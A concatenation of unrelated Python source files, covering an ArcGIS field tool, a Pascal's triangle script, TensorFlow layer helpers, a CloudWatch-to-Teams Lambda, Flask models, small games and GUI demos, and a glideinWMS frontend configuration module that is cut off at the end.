row[:] = 'no data' else: arcpy.AddField_management(eingabeFC, feldName, feldTyp) arcpy.AddMessage('Das Feld ' + feldName + ' wurde erstellt.') # Start Prozess fuer geanderte Namen else: for validerName in feldListe: if feldTyp == 'TEXT': arcpy.AddField_management(eingabeFC, validerName, feldTyp, {}, {}, {feldLaenge}) # Fuer Felder des Typs TEXT soll als default Wert statt 'NULL' der Wert 'no data' eingetragen werden zeilenFC = arcpy.da.UpdateCursor(eingabeFC, validerName) for row in zeilenFC: row[:] = 'no data' else: arcpy.AddField_management(eingabeFC, validerName, feldTyp) arcpy.AddMessage('Das Feld ' + validerName + ' wurde erstellt.') zaehler = zaehler + 1 arcpy.AddMessage('Herzlichen Glueckwunsch! Die Verarbeitung wurde erfolgreich abgeschlossen!') A4_ScriptTool.py Displaying A4_ScriptTool.py.
# Author: Branden Kim # Assignment: 5 # Description: Recursive function to print out pascal's triangle def pascals(cur_level, num_levels, level_list): if cur_level > num_levels: return level_list elif cur_level == 0: level_list.append([1]) elif cur_level == 1: level_list.append([1, 1]) else: temp, prev_list = [1], level_list[cur_level - 1] for i in range(1, len(prev_list)): temp.append(prev_list[i] + prev_list[i - 1]) temp.append(1) level_list.append(temp) return pascals(cur_level + 1, num_levels, level_list) def main(): print("Welcome to the Pascal's triangle generator.") while True: try: num_levels = int(input('Please enter the number of levels to generate: ')) except ValueError: print('Your number must be positive (greater than zero).') else: if num_levels >= 1: break else: print('Your number must be positive (greater than zero).') res = pascals(0, num_levels, []) for level in res: print(' '.join((str(i) for i in level))) if __name__ == '__main__': main()
import tkinter as tk from app import App def center(win): win.update_idletasks() width = win.winfo_width() height = win.winfo_height() x = (win.winfo_screenwidth() // 2) - (width // 2) y = (win.winfo_screenheight() // 2) - (height // 2) win.geometry(f'+{x}+{y}') if __name__ == '__main__': root = tk.Tk() root.title('$$$') pairs = ['USDT_BTC', 'USDT_ETH', 'USDT_DASH', 'USDT_LTC', 'USDT_NXT','USDT_XMR', 'USDT_XRP', 'USDT_STR', 'USDT_ETC', 'USDT_REP', 'USDT_ZEC', 'USDT_BCH'] config = {'rows':3, 'columns':4, 'tick_time':30000, # ms 'history_size':2880} # 2880 for 24h with 30s ticks app = App(root, pairs, config) center(root) root.mainloop()
import tensorflow as tf from examples.autoencoder.layer_utils import get_deconv2d_output_dims def conv(input, name, filter_dims, stride_dims, padding='SAME', non_linear_fn=tf.nn.relu): input_dims = input.get_shape().as_list() assert(len(input_dims) == 4) # batch_size, height, width, num_channels_in assert(len(filter_dims) == 3) # height, width and num_channels out assert(len(stride_dims) == 2) # stride height and width num_channels_in = input_dims[-1] filter_h, filter_w, num_channels_out = filter_dims stride_h, stride_w = stride_dims with tf.variable_scope(name) as scope: weights = tf.get_variable('weights', [filter_h, filter_w, num_channels_in, num_channels_out]) biases = tf.get_variable('biases', [num_channels_out]) out = tf.nn.conv2d(input, weights, [1, stride_h, stride_w, 1], padding=padding) out = tf.nn.bias_add(out, biases) if non_linear_fn: return non_linear_fn(out, name=scope.name) else: return out def deconv(input, name, filter_dims, stride_dims, padding='SAME', non_linear_fn=tf.nn.relu): input_dims = input.get_shape().as_list() assert(len(input_dims) == 4) # batch_size, height, width, num_channels_in assert(len(filter_dims) == 3) # height, width and num_channels out assert(len(stride_dims) == 2) # stride height and width num_channels_in = input_dims[-1] filter_h, filter_w, num_channels_out = filter_dims stride_h, stride_w = stride_dims output_dims = get_deconv2d_output_dims(input_dims, filter_dims, stride_dims, padding) with tf.variable_scope(name) as scope: # note that num_channels_out and in positions are flipped for deconv. weights = tf.get_variable('weights', [filter_h, filter_w, num_channels_out, num_channels_in]) biases = tf.get_variable('biases', [num_channels_out]) out = tf.nn.conv2d_transpose(input, weights, output_dims, [1, stride_h, stride_w, 1], padding=padding) out = tf.nn.bias_add(out, biases) if non_linear_fn: return non_linear_fn(out, name=scope.name) else: return out def max_pool(input, name, filter_dims, stride_dims, padding='SAME'): assert(len(filter_dims) == 2) # filter height and width assert(len(stride_dims) == 2) # stride height and width filter_h, filter_w = filter_dims stride_h, stride_w = stride_dims return tf.nn.max_pool(input, [1, filter_h, filter_w, 1], [1, stride_h, stride_w, 1], padding=padding) def fc(input, name, out_dim, non_linear_fn=tf.nn.relu): assert(type(out_dim) == int) with tf.variable_scope(name) as scope: input_dims = input.get_shape().as_list() # the input to the fc layer should be flattened if len(input_dims) == 4: # for eg. the output of a conv layer batch_size, input_h, input_w, num_channels = input_dims # ignore the batch dimension in_dim = input_h * input_w * num_channels flat_input = tf.reshape(input, [batch_size, in_dim]) else: in_dim = input_dims[-1] flat_input = input weights = tf.get_variable('weights', [in_dim, out_dim]) biases = tf.get_variable('biases', [out_dim]) out = tf.nn.xw_plus_b(flat_input, weights, biases) if non_linear_fn: return non_linear_fn(out, name=scope.name) else: return out
import json import logging import os from urllib.request import Request, urlopen from urllib.error import URLError, HTTPError HOOK_URL = os.environ['HOOK_URL'] logger = logging.getLogger() logger.setLevel(logging.INFO) def handler(event, context): logger.info("Event: " + str(event)) message = json.loads(event['Records'][0]['Sns']['Message']) logger.info("Message: " + str(message)) alarm_name = message['AlarmName'] old_state = message['OldStateValue'] new_state = message['NewStateValue'] reason = message['NewStateReason'] base_data = { "colour": "64a837", "title": "**%s** is resolved" % alarm_name, "text": "**%s** has changed from %s to %s - %s" % (alarm_name, old_state, new_state, reason) } if new_state.lower() == 'alarm': base_data = { "colour": "d63333", "title": "Red Alert - There is an issue %s" % alarm_name, "text": "**%s** has changed from %s to %s - %s" % (alarm_name, old_state, new_state, reason) } messages = { ('ALARM', 'my-alarm-name'): { "colour": "d63333", "title": "Red Alert - A bad thing happened.", "text": "These are the specific details of the bad thing." }, ('OK', 'my-alarm-name'): { "colour": "64a837", "title": "The bad thing stopped happening", "text": "These are the specific details of how we know the bad thing stopped happening" } } data = messages.get((new_state, alarm_name), base_data) message = { "@context": "https://schema.org/extensions", "@type": "MessageCard", "themeColor": data["colour"], "title": data["title"], "text": data["text"] } req = Request(HOOK_URL, json.dumps(message).encode('utf-8')) try: response = urlopen(req) response.read() logger.info("Message posted") except HTTPError as e: logger.error("Request failed: %d %s", e.code, e.reason) except URLError as e: logger.error("Server connection failed: %s", e.reason)
from flask_sqlalchemy import SQLAlchemy from flask import Flask from flask_script import Manager import os basedir = os.path.abspath(os.path.dirname(__file__)) app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] =\ 'sqlite:///' + os.path.join(basedir, 'data.sqlite') app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db = SQLAlchemy(app) manager = Manager(app) registrations = db.Table('registrations', db.Column('student_id', db.Integer, db.ForeignKey('students.id')), db.Column('class_id', db.Integer, db.ForeignKey('classes.id'))) class Student(db.Model): __tablename__ = 'students' id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(64)) class_id = db.Column(db.Integer, db.ForeignKey('classes.id')) def __repr__(self): return '<Student: %r>' %self.name class Class(db.Model): __tablename__ = 'classes' id = db.Column(db.Integer, primary_key=True) students = db.relationship('Student',secondary=registrations, backref=db.backref('_class', lazy="joined"), lazy="dynamic") name = db.Column(db.String(64)) def __repr__(self): return '<Class: %r>' %self.name if __name__ == '__main__': manager.run()
# -*-coding:Utf-8 -* """File containing the base of all obstacles.""" class Obstacle: """Class representing all obstacles. Obstacles are herited from this class. She defined further methods and attributs. You need maybe to modified this methods or attributs in the class daughter. """ name = "obstacle" can_cross = True symbol = "" def __init__(self, x, y): self.x = x self.y = y def __repr__(self): return "<{name} (x={x}, y={y})>".format(nom=self.name, x=self.x, y=self.y) def __str__(self): return "{name} ({x}.{y})".format(nom=self.name, x=self.x, y=self.y) def arrive(self, maze, macgyver): """Method call when MacGyver arrive on the square. """ pass
# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. """Exposes interfaces of benchmarks used by SuperBench executor.""" from superbench.benchmarks.return_code import ReturnCode from superbench.benchmarks.context import Platform, Framework, Precision, ModelAction, BenchmarkType, BenchmarkContext from superbench.benchmarks.registry import BenchmarkRegistry from superbench.benchmarks import model_benchmarks, micro_benchmarks, docker_benchmarks # noqa pylint: disable=unused-import __all__ = [ 'ReturnCode', 'Platform', 'Framework', 'BenchmarkType', 'Precision', 'ModelAction', 'BenchmarkContext', 'BenchmarkRegistry' ]
import time import image from character.base import Character class Hero(Character): def __init__ (self, name='Becky', health=10, power=4, attack='gore', evade=0, coins=8, win_count=0): super().__init__(name, health, power, attack, evade, coins) self.win_count = win_count @classmethod def create(cls): print("\t", image.char.pixie) print("""\nPIXIE: Welcome to FairyLand! I'm the gumdrop pixie, and I brought you here using sprinkle magic. We've been waiting many centuries for a magical unicorn princess like you. """) time.sleep(1.5) name = input("What's your name, princess? ").upper() return cls(name) def buy(self, item): if self.coins >= item.cost: self.coins -= item.cost item.equip(self) else: print("You can't afford that, loser!")
# -*- coding: utf-8 -*-# #------------------------------------------------------------------------------- # Name: DrawMultiLine # Description: # Author: Dell # Date: 2019/10/6 #------------------------------------------------------------------------------- ''' 绘制不同类型的直线 ''' import sys from PyQt5.QtGui import * from PyQt5.QtCore import * from PyQt5.QtWidgets import * class DrawMultiLineDemo(QWidget): def __init__(self): super(DrawMultiLineDemo, self).__init__() self.initUI() def initUI(self): self.setWindowTitle('设置Pen的样式') self.resize(300, 300) def paintEvent(self,event): painter = QPainter() painter.begin(self) painter.setPen(Qt.blue) pen = QPen(Qt.red,3,Qt.SolidLine) painter.setPen(pen) painter.drawLine(20,40,250,40) pen.setStyle(Qt.DashLine) painter.setPen(pen) painter.drawLine(20,80,250,80) pen.setStyle(Qt.DashDotDotLine) painter.setPen(pen) painter.drawLine(20, 120, 250, 120) pen.setStyle(Qt.DotLine) painter.setPen(pen) painter.drawLine(20, 160, 250, 160) pen.setStyle(Qt.DashDotDotLine) painter.setPen(pen) painter.drawLine(20, 200, 250, 200) pen.setStyle(Qt.CustomDashLine) pen.setDashPattern([1,4,5,4]) painter.setPen(pen) painter.drawLine(20, 240, 250, 240) if __name__ == '__main__': app = QApplication(sys.argv) mainWin = DrawMultiLineDemo() mainWin.show() sys.exit(app.exec_())
# # Project: # glideinWMS # # File Version: # # Description: # Frontend creation module # Classes and functions needed to handle dictionary files # created out of the parameter object # import os,os.path,shutil,string import cvWDictFile,cWDictFile import cvWConsts,cWConsts import cvWCreate from glideinwms.lib import x509Support ################################################ # # This Class contains the main dicts # ################################################ class frontendMainDicts(cvWDictFile.frontendMainDicts): def __init__(self,params,workdir_name): cvWDictFile.frontendMainDicts.__init__(self,params.work_dir,params.stage_dir,workdir_name,simple_work_dir=False,assume_groups=True,log_dir=params.log_dir) self.monitor_dir=params.monitor_dir self.add_dir_obj(cWDictFile.monitorWLinkDirSupport(self.monitor_dir,self.work_dir)) self.monitor_jslibs_dir=os.path.join(self.monitor_dir,'jslibs') self.add_dir_obj(cWDictFile.simpleDirSupport(self.monitor_jslibs_dir,"monitor")) self.params=params self.active_sub_list=[] self.monitor_jslibs=[] self.monitor_htmls=[] self.client_security={} def populate(self,params=None): if params is None: params=self.params # put default files in place first self.dicts['preentry_file_list'].add_placeholder(cWConsts.CONSTS_FILE,allow_overwrite=True) self.dicts['preentry_file_list'].add_placeholder(cWConsts.VARS_FILE,allow_overwrite=True) self.dicts['preentry_file_list'].add_placeholder(cWConsts.UNTAR_CFG_FILE,allow_overwrite=True) # this one must be loaded before any tarball self.dicts['preentry_file_list'].add_placeholder(cWConsts.GRIDMAP_FILE,allow_overwrite=True) # this one must be loaded before factory runs setup_x509.sh # follow by the blacklist file file_name=cWConsts.BLACKLIST_FILE self.dicts['preentry_file_list'].add_from_file(file_name,(file_name,"nocache","TRUE",'BLACKLIST_FILE'),os.path.join(params.src_dir,file_name)) # Load initial system scripts # These should be executed before the other scripts for script_name in ('cat_consts.sh',"check_blacklist.sh"): self.dicts['preentry_file_list'].add_from_file(script_name,(cWConsts.insert_timestr(script_name),'exec','TRUE','FALSE'),os.path.join(params.src_dir,script_name)) # put user files in stage for user_file in params.files: add_file_unparsed(user_file,self.dicts) # start expr is special start_expr=None # put user attributes into config files for attr_name in params.attrs.keys(): if attr_name in ('GLIDECLIENT_Start','GLIDECLIENT_Group_Start'): if start_expr is None: start_expr=params.attrs[attr_name].value elif not (params.attrs[attr_name].value in (None,'True')): start_expr="(%s)&&(%s)"%(start_expr,params.attrs[attr_name].value) # delete from the internal structure... will use it in match section del params.data['attrs'][attr_name] else: add_attr_unparsed(attr_name, params,self.dicts,"main") real_start_expr=params.match.start_expr if start_expr is not None: if real_start_expr!='True': real_start_expr="(%s)&&(%s)"%(real_start_expr,start_expr) else: real_start_expr=start_expr # since I removed the attributes, roll back into the match.start_expr params.data['match']['start_expr']=real_start_expr self.dicts['consts'].add('GLIDECLIENT_Start',real_start_expr) # create GLIDEIN_Collector attribute self.dicts['params'].add_extended('GLIDEIN_Collector',False,str(calc_glidein_collectors(params.collectors))) populate_gridmap(params,self.dicts['gridmap']) if self.dicts['preentry_file_list'].is_placeholder(cWConsts.GRIDMAP_FILE): # gridmapfile is optional, so if not loaded, remove the placeholder self.dicts['preentry_file_list'].remove(cWConsts.GRIDMAP_FILE) # populate complex files populate_frontend_descript(self.work_dir,self.dicts['frontend_descript'],self.active_sub_list,params) populate_common_descript(self.dicts['frontend_descript'],params) # Apply multicore policy so frontend can deal with multicore # glideins and requests correctly apply_multicore_policy(self.dicts['frontend_descript']) # populate the monitor files javascriptrrd_dir = params.monitor.javascriptRRD_dir for mfarr in ((params.src_dir,'frontend_support.js'), (javascriptrrd_dir,'javascriptrrd.wlibs.js')): mfdir,mfname=mfarr parent_dir = self.find_parent_dir(mfdir,mfname) mfobj=cWDictFile.SimpleFile(parent_dir,mfname) mfobj.load() self.monitor_jslibs.append(mfobj) for mfarr in ((params.src_dir,'frontendRRDBrowse.html'), (params.src_dir,'frontendRRDGroupMatrix.html'), (params.src_dir,'frontendGroupGraphStatusNow.html'), (params.src_dir,'frontendStatus.html')): mfdir,mfname=mfarr mfobj=cWDictFile.SimpleFile(mfdir,mfname) mfobj.load() self.monitor_htmls.append(mfobj) spd = self.params.data useMonitorIndexPage = True if spd.has_key('frontend_monitor_index_page'): useMonitorIndexPage = spd['frontend_monitor_index_page'] in ('True', 'true', '1') if useMonitorIndexPage: mfobj = cWDictFile.SimpleFile(params.src_dir + '/frontend', 'index.html') mfobj.load() self.monitor_htmls.append(mfobj) for imgfil in ('frontendGroupGraphsNow.small.png', 'frontendRRDBrowse.small.png', 'frontendRRDGroupMatix.small.png', 'frontendStatus.small.png'): mfobj = cWDictFile.SimpleFile(params.src_dir + '/frontend/images', imgfil) mfobj.load() self.monitor_htmls.append(mfobj) # Tell condor to advertise GLIDECLIENT_ReqNode self.dicts['vars'].add_extended('GLIDECLIENT_ReqNode','string',None,None,False,True,False) # derive attributes populate_common_attrs(self.dicts) # populate security data populate_main_security(self.client_security,params) def find_parent_dir(self,search_path,name): """ Given a search path, determine if the given file exists somewhere in the path. Returns: if found. returns the parent directory if not found, raises an Exception """ for root, dirs, files in os.walk(search_path,topdown=True): for filename in files: if filename == name: return root raise RuntimeError,"Unable to find %(file)s in %(dir)s path" % \ { "file" : name, "dir" : search_path, } # reuse as much of the other as possible def reuse(self,other): # other must be of the same class if self.monitor_dir!=other.monitor_dir: print "WARNING: main monitor base_dir has changed, stats may be lost: '%s'!='%s'"%(self.monitor_dir,other.monitor_dir) return cvWDictFile.frontendMainDicts.reuse(self,other) def save(self,set_readonly=True): cvWDictFile.frontendMainDicts.save(self,set_readonly) self.save_monitor() self.save_client_security() ######################################## # INTERNAL ######################################## def save_monitor(self): for fobj in self.monitor_jslibs: fobj.save(dir=self.monitor_jslibs_dir,save_only_if_changed=False) for fobj in self.monitor_htmls: fobj.save(dir=self.monitor_dir,save_only_if_changed=False) return def save_client_security(self): # create a dummy mapfile so we have a reasonable default cvWCreate.create_client_mapfile(os.path.join(self.work_dir,cvWConsts.FRONTEND_MAP_FILE), self.client_security['proxy_DN'],[],[],[]) # but the real mapfile will be (potentially) different for each # group, so frontend daemons will need to point to the real one at runtime cvWCreate.create_client_condor_config(os.path.join(self.work_dir,cvWConsts.FRONTEND_CONDOR_CONFIG_FILE), os.path.join(self.work_dir,cvWConsts.FRONTEND_MAP_FILE), self.client_security['collector_nodes'], self.params.security['classad_proxy']) return ################################################ # # This Class contains the group dicts # ################################################ class frontendGroupDicts(cvWDictFile.frontendGroupDicts): def __init__(self,params,sub_name, summary_signature,workdir_name): cvWDictFile.frontendGroupDicts.__init__(self,params.work_dir,params.stage_dir,sub_name,summary_signature,workdir_name,simple_work_dir=False,base_log_dir=params.log_dir) self.monitor_dir=cvWConsts.get_group_monitor_dir(params.monitor_dir,sub_name) self.add_dir_obj(cWDictFile.monitorWLinkDirSupport(self.monitor_dir,self.work_dir)) self.params=params self.client_security={} def populate(self,params=None): if params is None: params=self.params sub_params=params.groups[self.sub_name] # put default files in place first self.dicts['preentry_file_list'].add_placeholder(cWConsts.CONSTS_FILE,allow_overwrite=True) self.dicts['preentry_file_list'].add_placeholder(cWConsts.VARS_FILE,allow_overwrite=True) self.dicts['preentry_file_list'].add_placeholder(cWConsts.UNTAR_CFG_FILE,allow_overwrite=True) # this one must be loaded before any tarball # follow by the blacklist file file_name=cWConsts.BLACKLIST_FILE self.dicts['preentry_file_list'].add_from_file(file_name,(file_name,"nocache","TRUE",'BLACKLIST_FILE'),os.path.join(params.src_dir,file_name)) # Load initial system scripts # These should be executed before the other scripts for script_name in ('cat_consts.sh',"check_blacklist.sh"): self.dicts['preentry_file_list'].add_from_file(script_name,(cWConsts.insert_timestr(script_name),'exec','TRUE','FALSE'),os.path.join(params.src_dir,script_name)) # put user files in stage for user_file in sub_params.files: add_file_unparsed(user_file,self.dicts) # start expr is special start_expr=None # put user attributes into config files for attr_name in sub_params.attrs.keys(): if attr_name in ('GLIDECLIENT_Group_Start','GLIDECLIENT_Start'): if start_expr is None: start_expr=sub_params.attrs[attr_name].value elif sub_params.attrs[attr_name].value is not None: start_expr="(%s)&&(%s)"%(start_expr,sub_params.attrs[attr_name].value) # delete from the internal structure... will use it in match section del sub_params.data['attrs'][attr_name] else: add_attr_unparsed(attr_name, sub_params,self.dicts,self.sub_name) real_start_expr=sub_params.match.start_expr if start_expr is not None: if real_start_expr!='True': real_start_expr="(%s)&&(%s)"%(real_start_expr,start_expr) else: real_start_expr=start_expr # since I removed the attributes, roll back into the match.start_expr sub_params.data['match']['start_expr']=real_start_expr self.dicts['consts'].add('GLIDECLIENT_Group_Start',real_start_expr) # derive attributes populate_common_attrs(self.dicts) # populate complex files populate_group_descript(self.work_dir,self.dicts['group_descript'], self.sub_name,sub_params) populate_common_descript(self.dicts['group_descript'],sub_params) # Apply group specific glexec policy apply_group_glexec_policy(self.dicts['group_descript'], sub_params, params) # populate security data populate_main_security(self.client_security,params) populate_group_security(self.client_security,params,sub_params) # reuse as much of the other as possible def reuse(self,other): # other must be of the same class if self.monitor_dir!=other.monitor_dir: print "WARNING: group monitor base_dir has changed, stats may be lost: '%s'!='%s'"%(self.monitor_dir,other.monitor_dir) return cvWDictFile.frontendGroupDicts.reuse(self,other) def save(self,set_readonly=True): cvWDictFile.frontendGroupDicts.save(self,set_readonly) self.save_client_security() ######################################## # INTERNAL ######################################## def save_client_security(self): # create the real mapfiles cvWCreate.create_client_mapfile(os.path.join(self.work_dir,cvWConsts.GROUP_MAP_FILE), self.client_security['proxy_DN'], self.client_security['factory_DNs'], self.client_security['schedd_DNs'], self.client_security['collector_DNs']) cvWCreate.create_client_mapfile(os.path.join(self.work_dir,cvWConsts.GROUP_WPILOTS_MAP_FILE), self.client_security['proxy_DN'], self.client_security['factory_DNs'], self.client_security['schedd_DNs'], self.client_security['collector_DNs'], self.client_security['pilot_DNs']) return ################################################ # # This Class contains both the main and # the group dicts # ################################################ class frontendDicts(cvWDictFile.frontendDicts): def __init__(self,params, sub_list=None): # if None, get it from params if sub_list is None: sub_list=params.groups.keys() self.params=params cvWDictFile.frontendDicts.__init__(self,params.work_dir,params.stage_dir,sub_list,simple_work_dir=False,log_dir=params.log_dir) self.monitor_dir=params.monitor_dir self.active_sub_list=[] return def populate(self,params=None): # will update params (or self.params) if params is None: params=self.params self.main_dicts.populate(params) self.active_sub_list=self.main_dicts.active_sub_list self.local_populate(params) for sub_name in self.sub_list: self.sub_dicts[sub_name].populate(params) # reuse as much of the other as possible def reuse(self,other): # other must be of the same class if self.monitor_dir!=other.monitor_dir: print "WARNING: monitor base_dir has changed, stats may be lost: '%s'!='%s'"%(self.monitor_dir,other.monitor_dir) return cvWDictFile.frontendDicts.reuse(self,other) ########### # PRIVATE ########### def local_populate(self,params): return # nothing to do ###################################### # Redefine methods needed by parent def new_MainDicts(self): return frontendMainDicts(self.params,self.workdir_name) def new_SubDicts(self,sub_name): return frontendGroupDicts(self.params,sub_name, self.main_dicts.get_summary_signature(),self.workdir_name) ############################################################ # # P R I V A T E - Do not use # ############################################################ ############################################# # Add a user file residing in the stage area # file as described by Params.file_defaults def add_file_unparsed(user_file,dicts): absfname=user_file.absfname if absfname is None: raise RuntimeError, "Found a file element without an absname: %s"%user_file relfname=user_file.relfname if relfname is None: relfname=os.path.basename(absfname) # defualt is the final part of absfname if len(relfname)<1: raise RuntimeError, "Found a file element with an empty relfname: %s"%user_file is_const=eval(user_file.const,{},{}) is_executable=eval(user_file.executable,{},{}) is_wrapper=eval(user_file.wrapper,{},{}) do_untar=eval(user_file.untar,{},{}) if eval(user_file.after_entry,{},{}): file_list_idx='file_list' else: file_list_idx='preentry_file_list' if user_file.has_key('after_group'): if eval(user_file.after_group,{},{}): file_list_idx='aftergroup_%s'%file_list_idx if is_executable: # a script if not is_const: raise RuntimeError, "A file cannot be executable if it is not constant: %s"%user_file if do_untar: raise RuntimeError, "A tar file cannot be executable: %s"%user_file if is_wrapper: raise RuntimeError, "A wrapper file cannot be executable: %s"%user_file dicts[file_list_idx].add_from_file(relfname,(cWConsts.insert_timestr(relfname),"exec","TRUE",'FALSE'),absfname) elif is_wrapper: # a sourceable script for the wrapper if not is_const: raise RuntimeError, "A file cannot be a wrapper if it is not constant: %s"%user_file if do_untar: raise RuntimeError, "A tar file cannot be a wrapper: %s"%user_file dicts[file_list_idx].add_from_file(relfname,(cWConsts.insert_timestr(relfname),"wrapper","TRUE",'FALSE'),absfname) elif do_untar: # a tarball if not is_const: raise RuntimeError, "A file cannot be untarred if it is not constant: %s"%user_file wnsubdir=user_file.untar_options.dir if wnsubdir is None: wnsubdir=string.split(relfname,'.',1)[0] # deafult is relfname up to the first . config_out=user_file.untar_options.absdir_outattr if config_out is None: config_out="FALSE" cond_attr=user_file.untar_options.cond_attr dicts[file_list_idx].add_from_file(relfname,(cWConsts.insert_timestr(relfname),"untar",cond_attr,config_out),absfname) dicts['untar_cfg'].add(relfname,wnsubdir) else: # not executable nor tarball => simple file if is_const: val='regular' dicts[file_list_idx].add_from_file(relfname,(cWConsts.insert_timestr(relfname),val,'TRUE','FALSE'),absfname) else: val='nocache' dicts[file_list_idx].add_from_file(relfname,(relfname,val,'TRUE','FALSE'),absfname) # no timestamp if it can be modified ####################### # Register an attribute # attr_obj as described by Params.attr_defaults def add_attr_unparsed(attr_name,params,dicts,description): try: add_attr_unparsed_real(attr_name,params,dicts) except RuntimeError,e: raise RuntimeError, "Error parsing attr %s[%s]: %s"%(description,attr_name,str(e)) def add_attr_unparsed_real(attr_name,params,dicts): attr_obj=params.attrs[attr_name] if attr_obj.value is None: raise RuntimeError, "Attribute '%s' does not have a value: %s"%(attr_name,attr_obj) is_parameter=eval(attr_obj.parameter,{},{}) is_expr=(attr_obj.type=="expr") attr_val=params.extract_attr_val(attr_obj) if is_parameter: dicts['params'].add_extended(attr_name,is_expr,attr_val) else: dicts['consts'].add(attr_name,attr_val) do_glidein_publish=eval(attr_obj.glidein_publish,{},{}) do_job_publish=eval(attr_obj.job_publish,{},{}) if do_glidein_publish or do_job_publish: # need to add a line only if will be published if dicts['vars'].has_key(attr_name): # already in the var file, check if compatible attr_var_el=dicts['vars'][attr_name] attr_var_type=attr_var_el[0] if (((attr_obj.type=="int") and (attr_var_type!='I')) or ((attr_obj.type=="expr") and (attr_var_type=='I')) or ((attr_obj.type=="string") and (attr_var_type=='I'))): raise RuntimeError, "Types not compatible (%s,%s)"%(attr_obj.type,attr_var_type) attr_var_export=attr_var_el[4] if do_glidein_publish and (attr_var_export=='N'): raise RuntimeError, "Cannot force glidein publishing" attr_var_job_publish=attr_var_el[5] if do_job_publish and (attr_var_job_publish=='-'): raise RuntimeError, "Cannot force job publishing" else: dicts['vars'].add_extended(attr_name,attr_obj.type,None,None,False,do_glidein_publish,do_job_publish) ################################### # Create the frontend descript file def populate_frontend_descript(work_dir, frontend_dict,active_sub_list, # will be modified params): frontend_dict.add('FrontendName',params.frontend_name) frontend_dict.add('WebURL',params.web_url) if hasattr(params,"monitoring_web_url") and (params.monitoring_web_url is not None): frontend_dict.add('MonitoringWebURL',params.monitoring_web_url) else: frontend_dict.add('MonitoringWebURL',params.web_url.replace("stage","monitor")) if params.security.classad_proxy is None: raise RuntimeError, "Missing security.classad_proxy" params.subparams.data['security']['classad_proxy']=os.path.abspath(params.security.classad_proxy) if not os.path.isfile(params.security.classad_proxy): raise RuntimeError, "security.classad_proxy(%s) is not a file"%params.security.classad_proxy frontend_dict.add('ClassAdProxy',params.security.classad_proxy) frontend_dict.add('SymKeyType',params.security.sym_key) active_sub_list[:] # erase all for sub in params.groups.keys(): if eval(params.groups[sub].enabled,{},{}): active_sub_list.append(sub) frontend_dict.add('Groups',string.join(active_sub_list,',')) frontend_dict.add('LoopDelay',params.loop_delay) frontend_dict.add('AdvertiseDelay',params.advertise_delay) frontend_dict.add('GroupParallelWorkers',params.group_parallel_workers) frontend_dict.add('RestartAttempts',params.restart_attempts) frontend_dict.add('RestartInterval',params.restart_interval) frontend_dict.add('AdvertiseWithTCP',params.advertise_with_tcp) frontend_dict.add('AdvertiseWithMultiple',params.advertise_with_multiple) frontend_dict.add('MonitorDisplayText',params.monitor_footer.display_txt) frontend_dict.add('MonitorLink',params.monitor_footer.href_link) frontend_dict.add('CondorConfig',os.path.join(work_dir,cvWConsts.FRONTEND_CONDOR_CONFIG_FILE)) frontend_dict.add('LogDir',params.log_dir) frontend_dict.add('ProcessLogs', str(params.log_retention['process_logs'])) frontend_dict.add('MaxIdleVMsTotal',params.config.idle_vms_total.max) frontend_dict.add('CurbIdleVMsTotal',params.config.idle_vms_total.curb) frontend_dict.add('MaxIdleVMsTotalGlobal',params.config.idle_vms_total_global.max) frontend_dict.add('CurbIdleVMsTotalGlobal',params.config.idle_vms_total_global.curb) frontend_dict.add('MaxRunningTotal',params.config.running_glideins_total.max) frontend_dict.add('CurbRunningTotal',params.config.running_glideins_total.curb) frontend_dict.add('MaxRunningTotalGlobal',params.config.running_glideins_total_global.max) frontend_dict.add('CurbRunningTotalGlobal',params.config.running_glideins_total_global.curb) ####################### # Populate group descript def populate_group_descript(work_dir,group_descript_dict, # will be modified sub_name,sub_params): group_descript_dict.add('GroupName',sub_name) group_descript_dict.add('MapFile',os.path.join(work_dir,cvWConsts.GROUP_MAP_FILE)) group_descript_dict.add('MapFileWPilots',os.path.join(work_dir,cvWConsts.GROUP_WPILOTS_MAP_FILE)) group_descript_dict.add('MaxRunningPerEntry',sub_params.config.running_glideins_per_entry.max) group_descript_dict.add('FracRunningPerEntry',sub_params.config.running_glideins_per_entry.relative_to_queue) group_descript_dict.add('MaxIdlePerEntry',sub_params.config.idle_glideins_per_entry.max) group_descript_dict.add('ReserveIdlePerEntry',sub_params.config.idle_glideins_per_entry.reserve) group_descript_dict.add('MaxIdleVMsPerEntry',sub_params.config.idle_vms_per_entry.max) group_descript_dict.add('CurbIdleVMsPerEntry',sub_params.config.idle_vms_per_entry.curb) group_descript_dict.add('MaxIdleVMsTotal',sub_params.config.idle_vms_total.max) group_descript_dict.add('CurbIdleVMsTotal',sub_params.config.idle_vms_total.curb) group_descript_dict.add('MaxRunningTotal',sub_params.config.running_glideins_total.max) group_descript_dict.add('CurbRunningTotal',sub_params.config.running_glideins_total.curb) group_descript_dict.add('MaxMatchmakers',sub_params.config.processing_workers.matchmakers) if (sub_params.attrs.has_key('GLIDEIN_Glexec_Use')): group_descript_dict.add('GLIDEIN_Glexec_Use',sub_params.attrs['GLIDEIN_Glexec_Use']['value']) ##################################################### # Populate values common to frontend and group dicts MATCH_ATTR_CONV={'string':'s','int':'i','real':'r','bool':'b'} def apply_group_glexec_policy(descript_dict, sub_params, params): glidein_glexec_use = None query_expr = descript_dict['FactoryQueryExpr'] match_expr = descript_dict['MatchExpr'] ma_arr = [] match_attrs = None # Consider GLIDEIN_Glexec_Use from Group level, else global if sub_params.attrs.has_key('GLIDEIN_Glexec_Use'): glidein_glexec_use = sub_params.attrs['GLIDEIN_Glexec_Use']['value'] elif params.attrs.has_key('GLIDEIN_Glexec_Use'): glidein_glexec_use = params.attrs['GLIDEIN_Glexec_Use']['value'] if (glidein_glexec_use): descript_dict.add('GLIDEIN_Glexec_Use', glidein_glexec_use) # Based on the value GLIDEIN_Glexec_Use consider the entries as follows # REQUIRED: Entries with GLEXEC_BIN set # OPTIONAL: Consider all entries irrespective of their GLEXEC config # NEVER : Consider entries that do not want glidein to use GLEXEC if (glidein_glexec_use == 'REQUIRED'): query_expr = '(%s) && (GLEXEC_BIN=!=UNDEFINED) && (GLEXEC_BIN=!="NONE")' % query_expr match_expr = '(%s) and (glidein["attrs"].get("GLEXEC_BIN", "NONE") != "NONE")' % match_expr ma_arr.append(('GLEXEC_BIN', 's')) elif (glidein_glexec_use == 'NEVER'): 